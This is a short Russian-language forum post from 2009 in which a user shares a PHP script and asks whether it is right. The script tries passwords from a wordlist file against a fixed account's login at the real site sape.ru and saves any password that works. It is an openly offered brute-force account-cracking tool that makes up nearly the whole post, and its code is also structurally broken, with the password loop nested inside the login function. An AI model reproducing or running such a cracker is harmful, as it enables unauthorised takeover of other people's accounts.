
12.05.2009, 14:30
|
|
Познающий
Регистрация: 19.12.2008
Сообщений: 41
Провел на форуме: 415091
Репутация:
5
|
|
<?php
function login($login,$pass){
$data = "act=login&login=$login&passwd=$pass";
$len = strlen($data);
$re = "POST http://sape.ru/login.php HTTP/1.0\nHost: sape.ru\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\nKeep-Alive: 300\n".
"Connection: keep-alive\nReferer: http://sape.ru/\n".
"Content-Type: application/x-www-form-urlencoded\n".
"Content-Length: $len\n\n$data";
$fp = fsockopen("sape.ru", 80, $errno, $errstr, 30);
fwrite($fp, $re);
$he="";
while (!feof($fp)) {
$he.=fgets($fp, 10240);
}
fclose($fp);
if ( preg_match ("/Ошибка/i" , "$he")) { $debug=0;$re=false;}
elseif ( preg_match ("/sites.php/i" , "$he")) {$debug=1; $re=true;}
$login="???";
$pass=file("pass.txt");
for($i=0;$i<count($pass);$i++){
$pass[$i]=trim($pass[$i]);
if(login($login,$pass[$i])){$fp=fopen('good.txt','ab');fwrite($fp,$login.': '.$pass[$i]."\r");fclose($fp);echo "password found!! this is ".$pass[$i];exit();}
}
return $re;
}
?>
Так ?
|
|
|